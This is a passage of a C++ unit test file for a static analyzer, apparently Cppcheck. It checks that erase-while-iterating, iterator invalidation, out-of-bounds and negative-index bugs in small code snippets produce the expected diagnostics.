errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.end() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.begin() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()-1' which is out of bounds. [eraseIteratorOutOfBounds]\\n\"\n \"[test.cpp:3:23]: (error) Dereference of an invalid iterator: v.begin()-1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, std::vector::iterator it) {\\n\"\n \" if (it == v.end()) {}\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Either the condition 'it==v.end()' is redundant or function 'erase()' is called on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBoundsCond]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" ((v).erase)(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n // Dereferencing invalid pointer\n void dereference() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:5] -> [test.cpp:6] -> [test.cpp:3] -> [test.cpp:7]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:5:22] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // #6554 \"False positive eraseDereference - erase in while() loop\"\n check(\"typedef std::map packetMap;\\n\"\n \"packetMap waitingPackets;\\n\"\n \"void ProcessRawPacket() {\\n\"\n \" packetMap::iterator wpi;\\n\"\n \" while ((wpi = waitingPackets.find(lastInOrder + 1)) != waitingPackets.end()) {\\n\"\n \" waitingPackets.erase(wpi);\\n\"\n \" for (unsigned pos = 0; pos < buf.size(); ) { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8509 Uniform initialization ignored for iterator\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator iter {ints.cbegin()};\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_break() { // #3644\n check(\"void f(std::vector &ints) {\\n\"\n \" std::vector::iterator iter;\\n\"\n \" for (iter=ints.begin();iter!=ints.end();++iter) {\\n\"\n \" if (*iter == 2) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" if (*iter == 3) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_member() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::iterator iter;\\n\"\n \" iter = ints.begin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n\n // Reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::reverse_iterator iter;\\n\"\n \" iter = ints.rbegin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n void dereference_auto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" auto iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:27] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto x = *myList.begin();\\n\"\n \" myList.erase(x);\\n\"\n \" auto b = x.first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const CXXRecordDecl *CXXRecordDecl::getTemplateInstantiationPattern() const {\\n\"\n \" if (auto *TD = dyn_cast(this)) {\\n\"\n \" auto From = TD->getInstantiatedFrom();\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void STLSize() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:11]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.length(); ++ii) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" do {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" ++i;\\n\"\n \" } while(ii <= foo.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (anything()) {\\n\"\n \" } else if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(1);\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" int ii = 0;\\n\"\n \" foo[ii] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for (B b : D()) {}\\n\" // Don't crash on range-based for-loop\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() + 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", \"\", errout_str());\n }\n\n void STLSizeNoErr() {\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii < foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" if (ii == foo.size())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:11:16]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n {\n check(\"void f(const std::map &data) {\\n\"\n \" int i = x;\"\n \" for (int i = 5; i <= data.size(); i++)\\n\"\n \" data[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() - 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void negativeIndex() {\n check(\"void f(const std::vector &v) {\\n\"\n \" v[-11] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (error) Array index -11 is out of bounds. [negativeContainerIndex]\\n\", errout_str());\n\n check(\"int f(int x, const std::vector& a) {\\n\"\n \" if (!(x < 5))\\n\"\n \" return a[x - 5];\\n\"\n \" else\\n\"\n \" return a[4 - x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::array values;\\n\"\n \"int get_value();\\n\"\n \"int compute() {\\n\"\n \" int i = get_value();\\n\"\n \" if( i < 0 || i > 5)\\n\"\n \" return -1;\\n\"\n \" int sum = 0;\\n\"\n \" for( int j = i+1; j < 7; ++j)\\n\"\n \" sum += values[j-1];\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int g() { return 0; } };\\n\" // #11831\n \"struct C {\\n\"\n \" int h() const { return b->g(); }\\n\"\n \" B* b;\\n\"\n \"};\\n\"\n \"struct O {\\n\"\n \" int f() const;\\n\"\n \" std::vector v;\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"int O::f() const { return v[c.h() - 1]; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #13196\n \" if (v.empty())\\n\"\n \" return;\\n\"\n \" int idx = -1;\\n\"\n \" for (int i = 0; i < v.size(); ++i) {\\n\"\n \" idx = i;\\n\"\n \" }\\n\"\n \" (void)v[idx];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n const auto oldSettings = settings; // TODO: get rid of this\n settings.daca = true;\n\n check(\"void f() {\\n\"\n \" const char a[][5] = { \\\"1\\\", \\\"true\\\", \\\"on\\\", \\\"yes\\\" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n settings = oldSettings;\n }\n\n void negativeIndexMultiline() {\n setMultiline();\n const auto oldSettings = settings; // TODO: get rid of this\n settings.verbose = true;\n\n check(\"bool valid(int);\\n\" // #11697\n \"void f(int i, const std::vector& v) {\\n\"\n \" if (!valid(i))\\n\"\n \" return;\\n\"\n \" if (v[i]) {}\\n\"\n \"}\\n\"\n \"void g(const std::vector& w) {\\n\"\n \" f(-1, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: warning: Array index -1 is out of bounds. [negativeContainerIndex]\\n\"\n \"[test.cpp:8:8]: note: Calling function 'f', 1st argument '-1' value is -1\\n\"\n \"[test.cpp:3:9]: note: Assuming condition is false\\n\"\n \"[test.cpp:5:9]: note: Negative array index\\n\",\n errout_str());\n\n settings = oldSettings;\n }\n\n void erase1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:7:5] -> [test.cpp:8:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" std::list::iterator i = ints.begin();\\n\"\n \" i = ints.erase(i);\\n\"\n \" *i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator i;\\n\"\n \" while (i != x.y.end())\\n\"\n \" i = x.y.erase(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2101\n check(\"void f(vector< std::list > &ints, unsigned int i)\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for(it = ints[i].begin(); it != ints[i].end(); it++) {\\n\"\n \" if (*it % 2)\\n\"\n \" it = ints[i].erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase2() {\n check(\"static void f()\\n\"\n \"{\\n\"\n \" for (iterator it = foo.begin(); it != foo.end(); it = next)\\n\"\n \" {\\n\"\n \" next = it;\\n\"\n \" next++;\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase3() {\n check(\"static void f(std::list &foo)\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" foo.erase(it->a);\\n\"\n \" if (it->b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it, it2;\\n\"\n \" for (it = foo.begin(); it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" for (; it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(++it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list foo;\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 123)\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5] -> [test.cpp:8:22]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase6() {\n check(\"void f() {\\n\"\n \" std::vector vec(3);\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator itEnd = vec.end();\\n\"\n \" for (it = vec.begin(); it != itEnd; it = vec.begin(), itEnd = vec.end())\\n\"\n \" {\\n\"\n \" vec.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseBreak() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (x) {\\n\"\n \" foo.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n }\n\n void eraseContinue() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator jt = ints.begin();\\n\"\n \" for (it = ints.begin(); it != ints.end(); it = jt) {\\n\"\n \" ++jt;\\n\"\n \" if (*it == 1) {\\n\"\n \" jt = ints.erase(it);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map my_map) {\\n\" // #7365\n \" std::map::iterator itr = my_map.begin();\\n\"\n \" switch (itr->first) {\\n\"\n \" case 0:\\n\"\n \" my_map.erase(itr);\\n\"\n \" continue;\\n\"\n \" case 1:\\n\"\n \" itr->second = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1) {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (somecondition) {\\n\"\n \" if (*it == 1)\\n\"\n \" foo.erase(it);\\n\"\n \" else\\n\"\n \" *it = 0;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (a) {\\n\"\n \" if (b)\\n\"\n \" foo.erase(it);\\n\" // <- TODO: erase shound't cause inconclusive valueflow\n \" else\\n\"\n \" *it = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:5] -> [test.cpp:7] -> [test.cpp:8] -> [test.cpp:8] -> [test.cpp:7] -> [test.cpp:5] -> [test.cpp:9] -> [test.cpp:3] -> [test.cpp:5]: (error) Using iterator to local container 'foo' that may be invalid.\\n\",\n \"[test.cpp:5:24] -> [test.cpp:7:13] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:7:13] -> [test.cpp:5:31] -> [test.cpp:9:21] -> [test.cpp:3:22] -> [test.cpp:5:28]: (error, inconclusive) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void eraseGoto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" goto abc;\\n\"\n \" }\\n\"\n \"bar:\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" it = foo.begin();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign2() {\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" for (std::list::iterator it = ints.begin(); it != ints.end();) {\\n\"\n \" if (*it == 123) {\\n\"\n \" std::list::iterator copy = it;\\n\"\n \" ++copy;\\n\"\n \" ints.erase(it);\\n\"\n \" it = copy;\\n\"\n \" } else {\\n\"\n \" it->second = 123;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign3() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list >::const_iterator i = l.begin();\\n\"\n \" std::list::const_iterator j = (*i).begin();\\n\"\n \" cout << *j << endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign4() {\n check(\"void f(std::list data) {\\n\"\n \" std::list::const_iterator it = data.begin();\\n\"\n \" it = data.erase(it);\\n\"\n \" it = data.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(Data data) {\\n\"\n \" std::list::const_iterator it = data.ints.begin();\\n\"\n \" it = data.ints.erase(it);\\n\"\n \" it = data.ints.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssignByFunctionCall() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list::const_iterator i;\\n\"\n \" bar(i);\\n\"\n \" cout << *i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseErase() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" ints.erase(iter);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:1] -> [test.cpp:4] -> [test.cpp:5] -> [test.cpp:1] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:1:31] -> [test.cpp:4:22] -> [test.cpp:5:10] -> [test.cpp:1:27] -> [test.cpp:6:16]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void eraseByValue() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::set foo;\\n\"\n \" for (std::set::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(*it);\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterator 'it' becomes invalid when deleted by value from 'foo'\\n\", \"\", errout_str());\n\n check(\"int f(std::set foo) {\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \" return *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:3:5]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::set foo)\\n\"\n \"{\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5669\n check(\"void f() {\\n\"\n \" HashSet_Ref::iterator aIt = m_ImplementationMap.find( xEle );\\n\"\n \" m_SetLoadedFactories.erase(*aIt);\\n\"\n \" m_SetLoadedFactories.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*aIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Invalid iterator: aIt [invalidIterator1]\\n\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" std::list::iterator bIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*bIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIf() {\n // #4816\n check(\"void func(std::list strlist) {\\n\"\n \" for (std::list::iterator str = strlist.begin(); str != strlist.end(); str++) {\\n\"\n \" if (func2(*str)) {\\n\"\n \" strlist.erase(str);\\n\"\n \" if (strlist.empty())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:26]: (error) Iterator 'str' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void eraseOnVector() {\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" v.erase(something(unknown));\\n\" // All iterators become invalidated when erasing from std::vector\n \" v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:13]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" std::vector::iterator bIt = v.begin();\\n\"\n \" v.erase(bIt);\\n\" // All iterators become invalidated when erasing from std::vector\n \" aIt = v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:4:7] -> [test.cpp:1:26] -> [test.cpp:5:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback1() {\n check(\"void f(const std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:32] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" {\\n\"\n \" int *it = &foo[0];\\n\"\n \" *it = 456;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" 